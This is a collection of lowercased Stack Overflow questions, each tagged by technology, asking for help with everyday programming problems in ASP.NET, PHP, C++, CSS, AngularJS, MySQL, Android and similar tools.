how to see auto-generated code in asp.net 4.0   i am not able to see auto-generated code in asp.net as we can see this code in win forms with   designer.cs file.     <pre><code>partial class form1 {     /// &lt;summary&gt;     /// required designer variable.     /// &lt;/summary&gt;     private system.componentmodel.icontainer components = null;      /// &lt;summary&gt;     /// clean up any resources being used.     /// &lt;/summary&gt;     /// &lt;param name= disposing &gt;true if managed resources should be disposed; otherwise  false.&lt;/param&gt;     protected override void dispose(bool disposing)     {         if (disposing &amp;&amp; (components != null))         {             components.dispose();         }         base.dispose(disposing);     }      #region windows form designer generated code      /// &lt;summary&gt;     /// required method for designer support - do not modify     /// the contents of this method with the code editor.     /// &lt;/summary&gt;     private void initializecomponent()     {         this.components = new system.componentmodel.container();         this.autoscalemode = system.windows.forms.autoscalemode.font;         this.text =  form1 ;     }      #endregion } </code></pre>,asp.net
the executable was signed with invalid entitlements <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1074546/the-executable-was-signed-with-invalid-entitlements >the executable was signed with invalid entitlements</a>    </blockquote>     i have made a app but i am unable to deploy on my device because every time it show an error the executable was signed with invalid entitlements and stop deploying plz tell me the procedure how can i solve the problem.,iphone
function doesn t move image but returns info correctly  i m tryin to upload 2 images but it seems all to be well but it move_uploaded_file() doesn t move the file  no errors have been generated.   <pre><code>// upload image function upload_image($tmp $name) {     $ext = explode( .  $name);     if (preg_match( ~(jpeg|jpg|gif|png)$~i   $name)) {     $ext = end($ext);      $name = substr(md5(rand())  0  10). .  . $ext;     $upload_dir =  /music/uploads/  . $name;     echo $tmp;     move_uploaded_file($tmp  /home/shadne/public_html .$upload_dir);          return $upload_dir;     } else {         throw new errorexception( file type not allowed );     } } </code></pre>   file/folder permission is 0777  i used images/new before using /uploads    edit 1    code that handles the uploading and checkin   <pre><code>&lt; php require_once  ../config.php ; require  includes/functions.php ;  if (!empty($_files[ artist_profile_image ])) {     $profile_image_name = $_files[ artist_profile_image ][ name ];     $profile_image_tmp = $_files[ artist_profile_image ][ tmp ];     $profile_image_dir = upload_image($profile_image_tmp  $profile_image_name); }  if (!empty($_files[ artist_thumb ])) {     $thumb_name = $_files[ artist_thumb ][ name ];     $thumb_tmp = $_files[ artist_thumb ][ tmp ];     $thumb_dir = upload_image($thumb_tmp  $thumb_name); }  if (empty($_post) === false) {     $required_fields = array( artist_name    artist_thumb    artist_profile_image    birthday );     foreach ($_post as $key =&gt; $value) {             if (empty($value) &amp;&amp; in_array($key  $required_fields) === true) {                 $errors[] =  fields marked with an asterstrik are required ;                 break 1;             }     } }  if (isset($_get[ success ])) {     echo  you\ ve added a new artist. ; } else {     if (empty($_post) === false &amp;&amp; empty($errors) === true) {         $artist_data = array(              artist_name            =&gt; $_post[ artist_name ]               artist_thumb           =&gt; $thumb_dir               artist_profile_image   =&gt;  $profile_image_dir               birthday               =&gt; $_post[ birthday ]          );          add_artist($artist_data);         //exit(header( location: add_artist.php success ));      } else if (empty($errors) === false) {         echo output_errors($errors);     }  &gt; &lt;!doctype html&gt; &lt;html lang= en &gt;     &lt;head&gt;         &lt;meta charset= utf-8  /&gt;         &lt;title&gt;admin area&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;  &lt;h1&gt;add artist&lt;/h1&gt;  &lt;form action=   method= post  enctype= multipart/form-data &gt;     &lt;ul&gt;         &lt;li&gt;             artist name*: &lt;input type= text  name= artist_name  /&gt;         &lt;/li&gt;         &lt;li&gt;             artist thumbnail*: &lt;input type= file  name= artist_thumb  /&gt;         &lt;/li&gt;         &lt;li&gt;             artist profile image*: &lt;input type= file  name= artist_profile_image  /&gt;         &lt;/li&gt;         &lt;li&gt;             birthday*:                     &lt;input type= date  name= birthday  /&gt;         &lt;/li&gt;                             &lt;li&gt;         &lt;input type= submit  value= add artist  /&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/form&gt; &lt; php  }  &gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,php
what is equivalent of curl in .net  i need to connect to a url and download data from it. the api documentation state that post has to be made via curl but i am using a .net client.    i wanted to know what is the curl equivalent in .net.    tried the following but cannot get it to work   <pre><code> if (request.querystring[ code ] != null) {        //     response.write(request.querystring[ code ].tostring());              string url =  https://company.com/token/ ;             string data =  {client_id=id client_secret=id grant_type=authorization_code code  +  =   + request.querystring[ code ].tostring() +   redirect_uri  +  =  +  http://localhost:10188/home.aspx  +   scope=ancestry  +  } ;              webrequest myreq = webrequest.create(url);             myreq.method =  post ;             myreq.contentlength = data.length;             myreq.contenttype =  application/json; charset=utf-8 ;              utf8encoding enc = new utf8encoding();              using (stream ds = myreq.getrequeststream())             {                 ds.write(enc.getbytes(data)  0  data.length);             }              webresponse response = null;             string ret = null;              try             {                 response = myreq.getresponse();             }             catch (webexception ex)             {                 if (((httpwebresponse)ex.response).statuscode == httpstatuscode.badrequest)                 {                     debug.writeline( error 400 detected!! );                 }                 response = (webresponse)ex.response;             }             finally             {                 using (var streamreader = new streamreader(response.getresponsestream()))                 {                     ret = streamreader.readtoend();                 }             }             response.write(ret);         } </code></pre>   the following code is now working   <pre><code>using (webclient wc = new webclient()) {             system.collections.specialized.namevaluecollection reqparm = new system.collections.specialized.namevaluecollection();             reqparm.add( client_id   mycon.client_id);             reqparm.add( client_secret   mycon.client_secret);             reqparm.add( grant_type   mycon.grant_type);             reqparm.add( code   mycon.code);             reqparm.add( redirect_uri   mycon.redirect_uri);             reqparm.add( scope   mycon.scope);              byte[] responsebytes = wc.uploadvalues(url   post   reqparm);             string responsebody = encoding.utf8.getstring(responsebytes);             httpcontext.current.response.write(responsebody);         } </code></pre>,.net
mobile application testing -random testing  i am currently doing black box testing(random testing) by using junit and robotium. i have problem in passing the data to the test method.  2 files  one is the <code>getdata.java</code>(read the test cases from text file and covert to array) and the other is the <code>testmain.java</code> (test method on testing the android application).    another problem is not able to run the junit test if the test methods have argument.    this code is executable   <pre><code>public void testdisplayblackbox() {           //enter 10 in first editfield         solo.entertext(0  data1);          //enter 20 in first editfiel         solo.entertext(1   3 );          //click on multiply button         solo.clickonbutton( multiply );          //verify that resultant of 10 x 20          asserttrue(solo.searchtext( 0 ));          } </code></pre>   but if passing and argument so as to get the data  error occur  junit will skip this method   <pre><code>public void testdisplayblackbox(string a) {  string b =a[0];           //enter 10 in first editfield         solo.entertext(0  b);          //enter 20 in first editfiel         solo.entertext(1   3 );          //click on multiply button         solo.clickonbutton( multiply );          //verify that resultant of 10 x 20          asserttrue(solo.searchtext( 0 ));          } </code></pre>,java
why it s permitted to redefine a global operator new(size_t)   why it s permitted to redefine a global <code>operator new(size_t)</code>     as far as i know there exists an identical and default <strong><code>operator new(size_t</code>)</strong> in c++ standard library(learned from c++ primer 5th)      the <strong>default operator new</strong> is in global namespace so why does the <strong>user-defined global operator new</strong> does not <strong>conflict</strong> with the default one since they are in the same scope isn t there a redefinition error,c++
how can i vertically align my div inside another div and keep them side by side   i ve got three divs inside another div.   <pre><code>&lt;div id= parentdiv  style= float:right; &gt;    &lt;div id= childdiv1  style= float:left; &gt;        &lt;b&gt;text1&lt;/b&gt;    &lt;/div&gt;    &lt;div id= childdiv2  style= float:left; &gt;        &lt;img src= smiley.gif  alt= smiley face  height= 42  width= 42 &gt;    &lt;/div&gt;    &lt;div id= childdiv3  style= float:left; &gt;        &lt;input type= checkbox  /&gt;    &lt;/div&gt; &lt;div&gt; </code></pre>   i need them to appear side-by-side  so i ve set them as <code>float:left</code>.    the trouble is that they appear like this...    <img src= https://i.stack.imgur.com/iqw6r.png  alt= incorrect layout image >    ...with the text vertically aligned at the top. i need it to be in the middle.    <strong>n.b.</strong> i ve found a post about a <a href= https://stackoverflow.com/questions/7446077/how-to-vertically-align-div-inside-another-div-without-displaytable-cell >very similar issue</a>  but it seems that floating causes it to fail.,html
hard .net question  i want to share some question in which i got confused. please check. :-)   <blockquote>    <strong>how many gc threads do we have in a .net process running on quad-core i7 process </strong>  </blockquote>   <em>i said 4x2=8 </em>   <blockquote>    <strong>which gc generation utilize more memory and why </strong>  </blockquote>   <em>i said gen2   but don t know why  i guessed because it s size is shown bigger in every book or net. :-p</em>   <blockquote>    <strong>contravariance is the corollary of covariance  explain.</strong>  </blockquote>   <em>its from generics  but don t know how to explain it.</em>   <blockquote>    <strong>enlistdistributedtransaction method is not supported by which database </strong>  </blockquote>   <em>i said oracle and ibm db </em>   <blockquote>    <strong>importance of codebase element in c# and where it is use </strong>  </blockquote>   i said assembly  but don t know the exact importance    well   i managed to clear the interview  but these question really took me out. please see if you can give me some advice on these question     thanks ajitpal,.net
why do these programs performing the same calculation in a different order give me different output   why is the output of these two programs different   i have included the code so you can easily view it and try it.  can anyone explain it to me    <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; using namespace std;  int main() {     float pi = 3.14159;     int r;      while (cin &gt;&gt; r) {         cout &lt;&lt;  volume =   &lt;&lt; fixed &lt;&lt; setprecision(3)              &lt;&lt; pi*r*r*r*(4.0/3.0) &lt;&lt; endl;     }      return 0; } </code></pre>    <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; using namespace std;  int main() {     float pi = 3.14159;     int r;      while (cin &gt;&gt; r) {         cout &lt;&lt;  volume =   &lt;&lt; fixed &lt;&lt; setprecision(3)              &lt;&lt; (4.0/3.0)*r*r*r*pi &lt;&lt; endl;     }      return 0; } </code></pre>   if i input 1523 the first one gives me 14797487059.353  which is the right answer  but the second one gives a negative number.    <a href= http://imgur.com/fgrq06d a7t1k7k  rel= nofollow >the 2 screens with the outputs this link include the 2 outputs the first one ir the right the second one is weird !</a>,c++
still space between elements (buttons) with  margin: 0    <a href= http://jsfiddle.net/trvfh/2/  rel= noreferrer >http://jsfiddle.net/trvfh/2/</a>    a picture:<br> <img src= https://i.stack.imgur.com/aixqg.png  alt= enter image description here >    so  right now  there is a little gam in between the two buttons. and i d like the buttons to share the middle edge  or at least be touching (if they are touching  changing the css so it looks like they are sharing an edge isn t hard)    but margin left / right doesn t appear to do anything. what s going on here,css
switchpreference not triggering when pressed  i have the following which creates my settings page with two notification settings:    <strong>settingsactivity.java</strong>   <pre><code>    @targetapi(build.version_codes.honeycomb) public static class notificationpreferencefragment extends preferencefragment {     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         addpreferencesfromresource(r.xml.pref_notification2);     }      @override     public boolean onoptionsitemselected(menuitem item) {         int id = item.getitemid();         if (id == android.r.id.home) {             startactivity(new intent(getactivity()  settingsactivity.class));             return true;         }         return super.onoptionsitemselected(item);     } } </code></pre>   <strong>pref_notification2.xml</strong>   <pre><code>&lt;preferencescreen xmlns:android= http://schemas.android.com/apk/res/android &gt;   &lt;switchpreference     android:defaultvalue= true      android:key= notifications_team_pick      android:title= team pick reminders  /&gt;   &lt;switchpreference     android:defaultvalue= true      android:key= notifications_results      android:title= results notifications  /&gt; &lt;/preferencescreen&gt; </code></pre>   i was expecting that the following would be invoked when a notification option is pressed:   <pre><code>    private static preference.onpreferencechangelistener sbindpreferencesummarytovaluelistener = new preference.onpreferencechangelistener() {     @override     public boolean onpreferencechange(preference preference  object value) {         string stringvalue = value.tostring();          log.d( am i:     here );          if (preference instanceof listpreference) {             // for list preferences  look up the correct display value in             // the preference s  entries  list.             listpreference listpreference = (listpreference) preference;             int index = listpreference.findindexofvalue(stringvalue);              // set the summary to reflect the new value.             preference.setsummary(                     index &gt;= 0                               listpreference.getentries()[index]                             : null);          } else {             // for all other preferences  set the summary to the value s             // simple string representation.             preference.setsummary(stringvalue);             log.d( am i:     here 2 );         }         return true;     } }; </code></pre>   however  whatever i attempt i can not get anything to happen once the toggle is pressed.  any help would be appreciated  many thanks  alan.    added to match a suggestion:   <pre><code>    @targetapi(build.version_codes.honeycomb) public static class notificationpreferencefragment extends preferencefragment implements preference.onpreferencechangelistener{      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         log.d( i am at:     oncreate extends );         addpreferencesfromresource(r.xml.pref_notification2);     }      @override     public boolean onpreferencechange(preference preference  object value) {         //your preference change method code.         log.d( i am at:     oncreate extends hope );         return true;      }  } </code></pre>,android
track changes in gridview  is there any way to track which lines in gridview are modified   i load gridview used like a excel sheet that is fetched from a table  i want to set a flag modfied == y when the line is modified by a user.  any idea how to approach this problem.    thank you in advance :),asp.net
jquery: close a button  remember that action in cache  i m trying to find a solution for the following mechanism:    i have a bottom player that is being displayed on all pages with a  x  close button in a corner. whenever i click  x  the player would close  but if i refresh the page it s shown again and i need to click  x  again to hide it.    can i store that information (e.g. that i already clicked on  x ) and store it in cache  how     a working jsfiddle of the player: <a href= http://jsfiddle.net/gj2rx/  rel= nofollow >http://jsfiddle.net/gj2rx/</a>,jquery
app crash at the time close app using home button   program recieved signal sigkill exception comes up when i quit in the multitasking bar. because of that <strong>applicationwillterminate(app delegate method)</strong> doesn t called. so i have lost some unsaved data.,ios
adding page control to uiscrollview  i am trying to add a uipagecontrol to a 2 page slider that has two pictures. i am trying to have two dots that show on which page the user is however i tred to implement this in different ways however i got no solid solution.,iphone
how to check internet connection availability on service call using c#   i have 2 different async method with different return types. i want to check the connection availability globally between service call. but i don t want to check that in each method    method 1:   <pre><code>public async void method1() {    using (httpclient client = new httpclient()    {       httpresponsemessage res = await client.getasync( url );    } } </code></pre>   method 2:   <pre><code>public async void method2() {    using (httpclient client = new httpclient()    {       httpresponsemessage res = await client.getasync( url );    } } </code></pre>   thanks in advance    dinesh,c#
constructor gets called twice  i am trying to implement an arraylist which saves details input by users and displays them. the code works ok but the constructor gets called twice once from main and other from the studentdetails class. is there a way to make it call just once   here is the student class having a main method calling object of studentdetails class and the studentdetails class which has an arraylist.   <pre><code>public class student2 {          public static void main(string[] args) {                    studentdetails sd1 = new studentdetails();      sd1.input();      sd1.display();           }    class studentdetails {         int marks;     string names;     list&lt;studentdetails&gt; sd = new arraylist&lt;&gt;();      public int getmarks() {         return marks;     }      public void setmarks(int marks) {         this.marks = marks;     }      public string getnames() {         return names;     }      public void setnames(string names) {         this.names = names;     }      public studentdetails() {             system.out.println( program started );     }      public void input() {             int no;         studentdetails sdetails = new studentdetails();         system.out.println( how many students  );         scanner sc = new scanner(system.in);         no = sc.nextint();          for (int i = 0; i &lt; no; i++) {             system.out.println( enter name of student  + (i + 1));             sdetails.setnames(sc.next());             system.out.println( enter marks for same student );             sdetails.setmarks(sc.nextint());             sd.add(sdetails);             }         }      public void display() {         for (int i = 0; i &lt; sd.size(); i++) {                             system.out.println( the name of student  +     + (i + 1) +     +  is  +     + sd.get(i).getnames()                     +   and marks are  +     + sd.get(i).getmarks());             }     } } </code></pre>,java
add scroll bar to browser if iframe get overflow with content  i m using iframe in asp.net applicaiton. i m using radmenustrip. when user click one of the tab i ll load corresponding page in iframe. here i want to add scroll bar to the browser not in iframe when content is not fit into the iframe. by default i gave 100% height. i tried with  html{overflow-y:scroll} but its not working.. here is my code    <pre><code>&lt;html&gt; &lt;head id= head1  runat= server &gt;         &lt;style type= text/css &gt;         body         {             background-image: url( images/bg_gradient.jpg );             width:90%;                       background-attachment: fixed;             background-position:center;          }              &lt;/style&gt; &lt;/head&gt; &lt;body&gt;    &lt;form id= form1  runat= server &gt;     &lt;telerik:radscriptmanager id= radscriptmanager1  runat= server /&gt;     &lt;div id= right &gt;   &lt;table border= 0  width= 100%  cellpadding= 0  cellspacing= 0            style= height:58px;margin-top:0px; &gt;         &lt;tr&gt;             &lt;td width= 9%  height= 100%  style= padding-left:0px  colspan= 2 &gt;             &lt;asp:image id= imgheader  runat= server                       imageurl= ~/images/banner.gif  imagealign= middle  width= 100% /&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;       &lt;telerik:radtabstrip id= menustrip  runat= server  cssclass= tabstrip1                 multipageid= radmultipage1  clickselectedtab= true             unselectchildren= true  style= margin-left:9.5px;border-left-style:none;               width= 98.5%  showbaseline= true               enableembeddedskins= false  skin= office2007  onclienttabselecting= onclienttabselecting               onclienttabselected= onclienttabselected &gt;            &lt;tabs&gt;            &lt;telerik:radtab text= tab1   navigateurl= tab1.aspx                      cssclass= tab1  target= framebody &gt;              &lt;/telerik:radtab&gt;               &lt;/tabs&gt;                 &lt;/telerik:radtabstrip&gt;    &lt;iframe id= framebody  name= framebody    runat= server   scrolling= no              frameborder= 0 &gt;       &lt;/iframe&gt;    &lt;/div&gt;    &lt;asp:hiddenfield id= hdn_tabindex  runat= server  /&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   pls help me asap. thanks.,asp.net
iphone app store - verifying paid customer  i have an idea for an iphone app whereby a level of credit-based after sales service would be included in the initial purchase price.    this would be dependant on being able to verify that the person seeking to register for the credit could be verified as a paid up buyer of the application.    is there currently any way to tie a person to a purchase  do apple supply email addresses of customers for example  if not how could this best be accomplished,iphone
bootstrap tabs doesn t switch  i am trying to use bootstrap tabs using the following code   <pre><code>&lt;div class= block full &gt;     &lt;div class= block-title &gt;         &lt;h2&gt;head&lt;/small&gt;&lt;/h2&gt;     &lt;/div&gt;     &lt;ul class= nav nav-tabs push  data-toggle= tabs &gt;         &lt;li class= active &gt;&lt;a href= #example-tabs-home &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li class=  &gt;&lt;a href= #example-tabs-profile &gt;profile&lt;/a&gt;&lt;/li&gt;         &lt;li class=  &gt;&lt;a href= #example-tabs-messages  data-toggle= tooltip  title=   data-original-title= messages &gt;&lt;i class= icon-envelope-alt &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;         &lt;li class=  &gt;&lt;a href= #example-tabs-settings  data-toggle= tooltip  title=   data-original-title= settings &gt;&lt;i class= icon-cogs &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt;     &lt;div class= tab-content &gt;         &lt;div class= tab-pane active  id= example-tabs-home &gt;home..&lt;/div&gt;         &lt;div class= tab-pane  id= example-tabs-profile &gt;profile..&lt;/div&gt;         &lt;div class= tab-pane  id= example-tabs-messages &gt;messages..&lt;/div&gt;         &lt;div class= tab-pane  id= example-tabs-settings &gt;settings..&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   but when i try to use it. it doesn t switch tabs but <strong>adds</strong> the tab content to the current one....    note: i have jquery  bootstrap scripts referenced.,html
how to reset to plus symbol in accordion menu  i made an accordion menu with the following js   <pre><code>$(function(){  $( #accordion .fullchild&gt;a.opener ).text( + ).addclass( box );    $( #accordion .opener ).click(function() {   if($(this).text() ==  - ) {    $(this).text( + );   }   else {    $(this).text( - );   } }); });               function initmenus() {     $( ul#accordion ul ).hide();      $( ul#accordion li a.opener ).click(         function() {             var checkelement = $(this).next();             var parent = this.parentnode.parentnode.id;                 if($( #  + parent).hasclass( noaccordion )) {                     $(this).next().slidetoggle( normal );                      return false;                 }                 if((checkelement.is( ul )) &amp;&amp; (checkelement.is( :visible ))) {                     if($( #  + parent).hasclass( collapsible )) {                         $( #  + parent +   ul:visible ).slideup( normal );                      }                     return false;                 }             if((checkelement.is( ul )) &amp;&amp; (!checkelement.is( :visible ))) {                 $( #  + parent +   ul:visible ).slideup( normal );                 checkelement.slidedown( normal );                  return false;             }         }     ); } $(document).ready(function() {initmenus();}); </code></pre>   it all works like i want it to but for one thing. when you toggle one plus open it turns to minus but unless you toggle it again it stays to minus    here is a fiddle <a href= http://jsfiddle.net/zpxrw/1/  rel= nofollow >http://jsfiddle.net/zpxrw/1/</a>    the html and css is bare  i would like to learn how i did the scripting wrong and how to make it better--i am assuming there is a much more concise way to accomplish this.,jquery
having a default item in dropdown using angularjs  i have this html which works very well. my topicid displays from 0 to 7 and 0 is the first item. however nothing is displayed as the default in my dropdown when the page loads until i click the dropdown.    i will like the first item to be displayed as the default. how can i achieve this please    <pre><code>        &lt;div class= selecttopic &gt;             &lt;select id= ctopic  name= ctopic  ng-model= selectedvalue &gt;                 &lt;option ng-repeat= x in cuc.getdata  value= {{x.topicid}} &gt; {{x.topicdescription}}&lt;/option&gt;              &lt;/select&gt;         &lt;/div&gt; </code></pre>,angularjs
how to display value dropdown when i selected  i have a newbie question in <code>php</code> when i select value from <code>dropdown</code> automated that the value is output in the <code>textbox</code> for example..   <pre><code>&lt;select&gt;&lt;/select&gt;   &lt;option&gt;john&lt;/option&gt; &lt;/select&gt; </code></pre>   when i select john automatic  the information of john output on a textbox    how to do this  thanks in advance.. sorry for my bad english,html
objective-c - json for game or is there a better way  i have some questions about json! i hope anybody can help me!    i have created a game and now i want to bring some variables out of my game into a json file!    so i want to ask  is it possible to bring floats and an array   <pre><code>nsarray *points = [nsarray arraywithobjects:             [nsvalue valuewithcgpoint:cgpointmake(50.0  150.0)]              [nsvalue valuewithcgpoint:cgpointmake(350.0  300.0)] nil]; </code></pre>   into a json file !    also i want to bring my background-images for the different levels in the json file.    is it possible to do it with json or anybody know a better way.    it would be great if anybody could tell me. or anybody know a good tutorial !    thanks,objective-c
implementing promise on a product detail page for ng-options  i read few articles about angular promise but i still dont feel that much comfortable about its implementation in my current requirement but have become inevitable in one of my pages.     <strong>issue</strong>: my <strong>qty</strong> dropdown is showing blank and i am sure it can be handles using <code>promise</code>.   <pre><code> &lt;div ng-show= product[0].sizeqtyprice &gt;     &lt;div&gt;qty        &lt;select ng-model= product.selectedqty  ng-options= value for value in product.selectedqtyoptions  ng-change= onqtychanged(product[0].id  product[0].selectedqty) &gt;&lt;/select&gt;      &lt;/div&gt;  &lt;/div&gt; </code></pre>   my controller:   <pre><code>var productdetailcontroller = function($scope $http){      $http.get( /get_product_details/ prod_id=1 )         .success(function (response) {             $scope.product = response;             $scope.onsizeselected($scope.product[0].id  $scope.product[0].sizeqtyprice[0]);         }).error(function(){             console.log( error happened ...  );         });       //original code starts here     $scope.getitemqtyprice = function(sizeqtyprice  qty) {       var priceperitem = sizeqtyprice.mrp * ( 1 - sizeqtyprice.discountpercent / 100);       var totalitemprice = qty * priceperitem       console.log( total price for   + qty +   qty is   + totalitemprice);       return totalitemprice;     };      $scope.onsizeselected = function(productid  sizeqtyprice){       console.log( size selected ...  + sizeqtyprice);       $scope.updateselectedproductbysizeselected(productid  sizeqtyprice);     };       $scope.onqtychanged = function(productid  qty){       $scope.updateselectedproductbyqtyselected(productid  qty);     };      $scope.updateselectedproductbysizeselected = function(productid  sizeqtyprice)     {     var item = _.findwhere($scope.product  {  id : productid } )     if (item != undefined)     {       item.selectedqtyoptions = _.range(1  sizeqtyprice.qty + 1);       item.selectedsize = sizeqtyprice.size;       item.selectedqty = item.selectedqtyoptions[0];        var sizeqtyprice = _.findwhere(item.sizeqtyprice   { size  : item.selectedsize});       item.totalpriceforselectedqtyandsize = $scope.getitemqtyprice(sizeqtyprice  item.selectedqty);       item.totalwithoutdiscount = sizeqtyprice.mrp * item.selectedqty;       item.priceperpiece = item.totalpriceforselectedqtyandsize / item.selectedqty;     }     };      $scope.updateselectedproductbyqtyselected = function(productid  qty){     var item = _.findwhere($scope.product  {  id : productid } )      if (item != undefined)     {       item.selectedqty = qty;        var sizeqtyprice = _.findwhere(item.sizeqtyprice   { size  : item.selectedsize});       item.totalpriceforselectedqtyandsize = $scope.getitemqtyprice(sizeqtyprice  item.selectedqty);       item.totalwithoutdiscount = sizeqtyprice.mrp * item.selectedqty;       item.priceperpiece = item.totalpriceforselectedqtyandsize / item.selectedqty;     }     };  };  mainapp.controller( productdetailcontroller  [ $scope   $http  productdetailcontroller]); </code></pre>   below is the <code>product</code> json:   <pre><code>[ {  selectedqtyoptions : []   selectedsize :      description :  taxiing    selectedqty :  1    title :  nationally    brand :  brand2    product_identifier_type :  sku    images : [     {          image0 :  /media/products/bb61e8ae422b736ff6c1b9562cbde883.jpg      } ]   sizeqtyprice : [     {          discountattributes :  jung fords redskin richest pearl paperweight careen confides backstage gushing            measureunit :  mm            discountpercent : 5           mrp : 8269           qty : 2           size : 62     }      {          discountattributes :  snitched wisps unambiguously harshest clothed famished spec triathlon ethelred addicts            measureunit :  kg            discountpercent : 10           mrp : 5644           qty : 6           size : 92     }      {          discountattributes :  committal forming welsh mawkishly swapped merchandize brawn demises emailed ucla            measureunit :  kg            discountpercent : 3           mrp : 7106           qty : 5           size : 32     } ]   product_identifier :  8e4e9389-6c46-4dc8-8716-0c7d2e580d3e    id : 1 } ]    </code></pre>,angularjs
how can i wait for $http response before continuing with angular.foreach loop  i m making an ajax request for each item in a loop  the end rest service can only perform one request at a time so i need the loop to wait for each request to complete before continuing with the next. how do i do this     for reference  the end service is performing update tasks on dynamodb tables - only one table can be modified at once hence my requirement to wait until i get a response before continuing. i could send them all to the server in one hit and handle there  although that makes it hard to receive feedback when each update is completed.    <pre><code>angular.foreach($scope.somearray    function (value) {        var postdata = {         bla: value       };        $http.post( /some_url   postdata)         .then(         function(result) {           console.log( success. );         }          function(data) {           console.log( failure. );         }       );    } ); </code></pre>,angularjs
dice roll python  trying to create a program that prints dice roll of 4 dice if the sum is greater then 8 and less then 20.  when i run this i get an infinite loop. i tried setting total = 0 then adding the sum of the 4 dice to total in the while loop but that didnt work.    code:   <pre><code>from random import randint  def main():     total = sum(diroll())     while total &gt; 8 and total &lt; 20:         print(diroll())     def diroll():     dice1 = randint(1  6)     dice2 = randint(1  6)     dice3 = randint(1  6)     dice4 = randint(1  6)     dicerolls = dice1  dice2  dice3  dice4     return sorted(dicerolls)   main() </code></pre>,python
how to resolve error  invalid types  int [x][const char*]  for array subscript    i keep getting the error in subject  below is the code. especially in type of constant n; i would like to count 10 100 and 100 to infinity.    what is wrong and how best to fix it    <pre><code>#include &lt;iostream&gt; #include &lt;stdio.h&gt; #define n 100 #define start 1  int main() {     system( cls );     long int a1 a2;     long int res1 res2;     long int c1 c2;     a1=start;     a2=a1+n;     res1=(a2+2)/5;     res2=(a2+4)/6;      long int i q z g;     int nums[n];      for (i=start; i&lt;(start + n); i++) {         nums[ i&lt;start +1]=10*i+8;     }     for (i=1; i&lt;n; i++) {         for (q=1;q&lt;=res1;q++) {             c2=(a2+q+2)/(10*q-8);             c1=(a1+q+2)/(10*q-8)+1;              for (g=c1;g&lt;c2;g++) {                 z=(10*q+8)*g-(q-2);                 if ((z-start+1)&lt;n)                     nums[z-start+1]=0;                 else                      break;             }         }         for (q=1;q&lt;=res2;q++) {             c2=(a2+q)/(10*q-6);             c1=(a1+q)/(10*q-6)+1;             for (g=c1;g&lt;=c2;g++) {                 z=(10*q-6)*g+q;                 if ((z-start+1)&lt;n)                     nums[ z-start +1]=0;                 else                      break;             }         }      }     for (i=1;i&lt;n;i++)         return 0;  } </code></pre>,c++
styling child elements depending on html order without css ids or class  there are two scenarios possible. firstly the <code>&lt;p&gt;</code> could come before the <code>&lt;img&gt;</code> tag    <pre><code>&lt;a&gt;    &lt;p&gt;&lt;/p&gt;    &lt;img&gt;&lt;/img&gt; &lt;a&gt; </code></pre>   and secondly it could come after   <pre><code>&lt;a&gt;    &lt;img&gt;&lt;/img&gt;    &lt;p&gt;&lt;/p&gt; &lt;a&gt; </code></pre>   i was wondering if there is any way to target the <code>&lt;p&gt;</code> element in both situations and style them differently.    i would like to position the <code>&lt;p&gt;</code> to the left if it comes before the <code>&lt;img&gt;</code> or right if it comes after.    i need to this be without adding any css classes / ids to any elements.    any help is appreciated.,css
unsure how to join tables 3 times to get the desired result  i am trying to put together a query that gives me a report of number of sales of products and their stock level in 3 seperate locations (store branches)    the idea is to group together the results as follows:   <pre><code>    prod.  | loc1 sales | loc1 stk | loc2 sales | loc2 stk | loc3 sales | loc3 stk      item 1 | 323        | 34       | 23         | 7        |        119 | 54      item 2 | 653        | 566      | 84         | 45       |        476 | 3434     item 3 | 121        | 23       | 300        | 5643     |        12  | 3434 </code></pre>   i can start off by grabbing the products and the qty from one location:   <pre><code>select    col.productname  sum(col.quantity) as qty from      customerorderlines col join      customerorders co on        co.id = col.customerorder_id where     co.orderdate between  start date here  and  end date here  and       co.location_id = 1 group by  product_id order by  qty desc </code></pre>   result:   <pre><code>productname | qty item 1      | 146 item 2      | 74 item 3      | 63 item 4      | 49 </code></pre>   now i try to join the stock table on there:   <pre><code>select     col.productname  sum(col.quantity) as qty  sum(s.stocklevel) as stocklevel from       customerorderlines col join       customerorders co on         co.id = col.customerorder_id join       stock s  on         s.product_id = col.product_id where      co.orderdate between  start date here  and  end date here  and        co.location_id = 1 and        s.location_id = 1 group by   col.product_id order by   qty desc </code></pre>   this  of course  doesnt work:   <pre><code>productname | qty | stocklevel item 1      | 246 | 89123 item 2      | 98  | 18454 item 3      | 78  | 22565 </code></pre>   not only are the stocklevels wrong  it fluffs up the qty too. still  i know this isnt the write way of going about it  so i try with a join:   <pre><code>select     col.productname  sum(col.quantity) as qty  sl.stocklevel from       customerorderlines col join       ( select              product_id               location_id               sum(stocklevel) as stocklevel              from stock               group by product_id            ) sl on         sl.product_id = col.product_id join       customerorders co on         co.id = col.customerorder_id join       stock s  on         s.product_id = col.product_id where      co.orderdate between  start date here  and  end date here  and        co.location_id = 1 and        s.location_id = 1 group by   col.product_id order by   qty desc </code></pre>   with this join  which works as a query on it own  i wait about 8 minutes before i kill the process because it just sits there.    any suggestions     thanks in advance   rob,mysql
how to write to executable s input in c   how to run an executable from within a c program so that to write data (e.g. some integer) to this executable s input,c
how font-size em value work   im using em font sizes  which is working fine for everywhere apart from the sidebar.    in the main content the em size is great. if i copy this em size to the sidebar the text becomes larger.    im using a html/body size of 17px. then 1.412em to get the size i would like. to see a live link of the sidebar font bigger go to this <a href= http://www.probablybest.co  rel= nofollow >link</a>. if you look at the twitter feed on the right sidebar you will see its using the same em but you view it a lot larger.,css
